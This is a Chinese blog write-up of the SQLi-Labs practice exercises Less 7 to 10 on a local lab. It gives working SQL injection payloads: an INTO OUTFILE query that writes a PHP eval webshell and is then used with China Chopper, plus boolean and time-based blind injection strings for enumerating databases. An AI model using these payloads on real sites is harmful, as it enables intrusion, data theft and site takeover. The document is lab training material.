zoukankan      html  css  js  c++  java
  • SQLi-Labs:Less7-Less10

     因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下,首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果像下图一样显示为NULL(这个必须做,要不然后面一句话木马写不到目录里)

     需要打开 C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv="/"

     重启phpstudy,在Mysql命令行重新输入命令

    再加个小知识:用到的两个函数:load_file()  读取本地文件  into outfile 写文件    可以百度函数用法,提示路径需要用双斜线


    Less 7

    我们先输入了?id=1,根据sql语句输出我们可以知道这次是单引号加双括号的字符型注入,闭合方式为?id=1'))    --+

    一般查看是否有错误是加单引号,像这一关就是,加了单引号报错,说明存在注入

    但是页面显示和前两关不一样,you are in........的后面多了use  outfile........,说明这一关让我们使用outfile函数

     还是自己练手的原因,找到了闭合方式和这熟悉的you are in.......,我忍不住用第五关的方式尝试了一下还是可以的

    首先尝试了left()函数

     

    尝试了ASCII码方式,均可

     

     

    接下来我们听话use outfile,我们会想到使用 mysql 写文件,eg:写入一句话木马,使用菜刀等工具连接

    下面我们将一句话木马写入a.php文件中。。。(存放位置:C:phpStudyPHPTutorialWWWsqli-labs-masterLess-7)

     语句:?id=-1')) union select 1,2, '<?php @eval($_POST["jyx"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\zjj.php' --+   (一句话木马里面的jyx是密码)

     如下图所示才叫写入成功

    我们先直接进行访问,url:http://localhost/sqli-labs-master/Less-7/zjj.php如下,因为一句话木马是用php写的,在这里没有显示

     

     下面用中国菜刀开始进行连接,复制上方的url,打开中国菜刀,右键添加,输入链接和上方提到的密码,点击添加

     双击新增条目,成功

     我们就成功拿到了这个网站的webshell


     Less 8

    日常先输入?id=1

     加上单引号?id=1',You are in...消失,说明存在注入漏洞

    我们加入注释符号 --+,即?id=1' --+,说明我们要以这样形式进行构造

    法一:布尔盲注 

    可以查出列数,使用 order by 语句:?id=1' order by 3 --+

     ?id=1' order by 4 --+,可以看出还是3列

     剩下的与第五关的类似,可以用left()函数,可以用ASCII码方法(猜解速度较慢),还可以用burp suite爆破

    法二:时间盲注

    小知识:if()函数——IF(condition,A,B),如果condition为true,执行A,否则执行B(若在mysql命令行中使用,首先要use ****数据库才行)

    首先?id=1' and sleep(5) --+,查看网络,发现存在漏洞并可以采用时间盲注

    我们使用if() + length()的组合猜解库名长度,这里页面返回时间正常,所以条件为真,库名长度大于7

    ?id=1' and if(length(database())>7,1,sleep(5)) --+

     ?id=1' and if(length(database())>8,1,sleep(5)) --+,根据返回时间说明条件为假,结合上面可知库名长度为8

    猜库名

     ?id=1' and if(ascii(mid((select database()),1,1))>114,1,sleep(5)) --+

     ?id=1' and if(ascii(mid((select database()),1,1))>115,1,sleep(5)) --+    说明第一个字母的ASCII码值为115,对照表知道为s,以此类推知道后几个字母

     猜其他库的库名,比如第四个库的第一个字母

     ?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>108,1,sleep(5)) --+

    ?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>109,1,sleep(5)) --+

     说明这第一个字母是m,经我查证,第四个库是mysql


    Less 9

    首先?id=1

     再?id=1’

     前面的什么双引号、单括号、双括号都试过,说明无论对错页面都不会产生变化的,所以使用sleep函数试了下

    ?id=1’ and sleep(5)--+ 使用这个语句时候,网页会停顿5秒,即存在注入漏洞

    我们可以使用第8关中的时间盲注进行操作,不可以使用布尔盲注,因为布尔盲注还是根据正确错误有不同的页面呈现的,这里始终页面是不变的;


    Less 10

    首先继续?id=1

     剩下与第九关相同,我们只要注意闭合方式是双引号的就可以啦

  • 相关阅读:
    yii2 gii 命令行自动生成控制器和模型
    控制器中的方法命名规范
    Vue Property or method "" is not defined on the instance but referenced during render. Make sure that this property is reactive, either in the data option, or for class-based
    IDEA插件:GsonFormat
    Spring Boot : Access denied for user ''@'localhost' (using password: NO)
    Typora添加主题
    Git基础命令图解
    Java Joda-Time 处理时间工具类(JDK1.7以上)
    Java日期工具类(基于JDK1.7版本)
    Oracle SQL Developer 连接Oracle出现【 状态: 失败 -测试失败: ORA-01017: invalid username/password; logon denied】
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12630042.html
Copyright © 2011-2022 走看看